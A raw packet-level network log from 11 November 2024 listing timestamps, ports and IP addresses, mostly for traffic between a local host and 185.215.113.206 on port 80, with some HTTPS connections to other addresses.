Nov 11, 2024 19:17:54.994116068 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994122028 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994132996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994139910 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994146109 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994153023 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994158030 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994169950 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994179010 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994180918 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994191885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994200945 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994203091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994213104 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994215012 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994230986 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994239092 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994244099 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994255066 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994261980 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994266987 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994275093 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994278908 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994291067 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994298935 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994302988 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994321108 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994327068 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994338036 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994340897 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994352102 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994360924 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994364023 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994370937 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994381905 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994388103 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994394064 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994404078 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994405031 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994415998 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994422913 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994430065 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994435072 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994446039 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994455099 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994462013 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994467020 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994476080 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994479895 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994492054 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994502068 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994502068 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994510889 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994512081 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994524002 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994534016 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994537115 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994544983 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994554996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994560003 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994566917 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994570017 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994585991 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994589090 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994596958 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994610071 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994610071 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994621038 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994623899 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994637012 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994637012 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994648933 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994653940 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994659901 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994661093 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994673967 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994683981 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994693995 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994704962 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994714975 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994724035 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994724035 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994724989 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994724035 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994738102 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994745016 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994750023 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994761944 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994764090 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994772911 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994784117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994786024 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994795084 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994805098 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994808912 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994816065 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994818926 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994827986 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994837999 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994838953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994852066 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994859934 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994868994 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994879961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994884014 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994890928 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994893074 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994904995 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994915962 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994915962 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994927883 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994935989 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994940042 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994952917 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994956970 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994963884 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994967937 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.994976044 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994988918 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994998932 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.994998932 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995009899 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995018959 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995022058 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995033026 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995037079 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995043993 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995050907 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995066881 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995069981 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995079041 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995086908 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995089054 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995100975 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995101929 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995112896 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995121002 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995125055 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995136023 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995147943 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995151997 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995156050 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995165110 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995174885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995182037 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995186090 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995198965 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995207071 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995212078 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995220900 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995224953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995237112 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995243073 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995271921 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995306969 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995326996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995337963 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995341063 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995348930 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995359898 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995362043 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995371103 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995374918 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995383978 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995385885 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995394945 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995405912 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995409966 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995415926 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995426893 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995434046 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995444059 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995455980 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995459080 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995467901 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995476961 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995481014 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995493889 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995507002 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995507956 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995521069 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995529890 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995532036 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995543003 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995553017 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995563030 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995573044 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995589018 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995592117 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995592117 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995592117 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995601892 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995614052 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995615959 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995625973 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995635986 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995637894 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995651007 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995661020 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995661974 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995672941 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995673895 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995683908 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995697975 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995702982 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995708942 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995719910 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995723009 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995727062 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995737076 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995743990 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995749950 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995763063 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995763063 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995783091 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995799065 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995831966 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995843887 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995853901 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995863914 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995871067 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995877028 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995884895 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995889902 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995902061 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995912075 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995913982 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995922089 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995953083 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.995975018 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995985985 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.995995998 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.996006966 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.996007919 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.996017933 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.996030092 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.996032953 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.996042013 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.996054888 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.996056080 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.996062994 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.996067047 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.996078014 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.996088982 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.996093035 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.996105909 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.996108055 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.996124983 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.996150017 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.030005932 CET	49894	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.030050039 CET	443	49894	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.030317068 CET	49894	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.031943083 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.032196045 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.032473087 CET	49894	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.032488108 CET	443	49894	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.035846949 CET	49895	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.035896063 CET	443	49895	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.035963058 CET	49895	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.036523104 CET	49885	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.036523104 CET	49885	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.036549091 CET	443	49885	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.036559105 CET	443	49885	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.038703918 CET	49895	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.038713932 CET	443	49895	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.070019007 CET	49896	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.070074081 CET	443	49896	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.070251942 CET	49896	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.073332071 CET	49897	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.073369980 CET	443	49897	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.073431015 CET	49897	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.074294090 CET	49898	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.074327946 CET	443	49898	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.074376106 CET	49898	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.079035997 CET	443	49884	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.079058886 CET	443	49884	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.079125881 CET	443	49884	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.079152107 CET	49884	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.079193115 CET	49884	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.079863071 CET	49896	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.079900026 CET	443	49896	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.083909988 CET	49897	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.083928108 CET	443	49897	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.084284067 CET	49898	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.084301949 CET	443	49898	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.095309019 CET	49884	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.095309019 CET	49884	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.095338106 CET	443	49884	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.095347881 CET	443	49884	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.102509975 CET	49899	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.102540970 CET	443	49899	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.102606058 CET	49899	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.103599072 CET	49899	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:55.103615046 CET	443	49899	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:55.183422089 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.184741020 CET	49886	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.184763908 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.185059071 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.185512066 CET	49886	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.185581923 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.185712099 CET	49886	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:55.227334976 CET	443	49886	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:55.277354956 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.282649040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.355010986 CET	443	49888	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:55.355344057 CET	49888	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:55.355360985 CET	443	49888	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:55.355679035 CET	443	49888	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:55.356479883 CET	49888	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:55.356550932 CET	443	49888	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:55.406678915 CET	49888	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:55.410449982 CET	443	49887	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.411571026 CET	49887	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.411583900 CET	443	49887	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.412719965 CET	443	49887	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.412806034 CET	49887	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.414329052 CET	49887	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.414397001 CET	443	49887	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.414606094 CET	49887	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.414613962 CET	443	49887	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.414633036 CET	49887	443	192.168.2.7	20.189.173.18
Nov 11, 2024 19:17:55.414649010 CET	443	49887	20.189.173.18	192.168.2.7
Nov 11, 2024 19:17:55.477535963 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477608919 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.477617979 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477628946 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477641106 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477658033 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477659941 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.477669954 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477677107 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.477689028 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477699995 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477701902 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.477710962 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477724075 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477727890 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.477744102 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477755070 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477756023 CET	49794	80	192.168.2.7	185.215.113.206
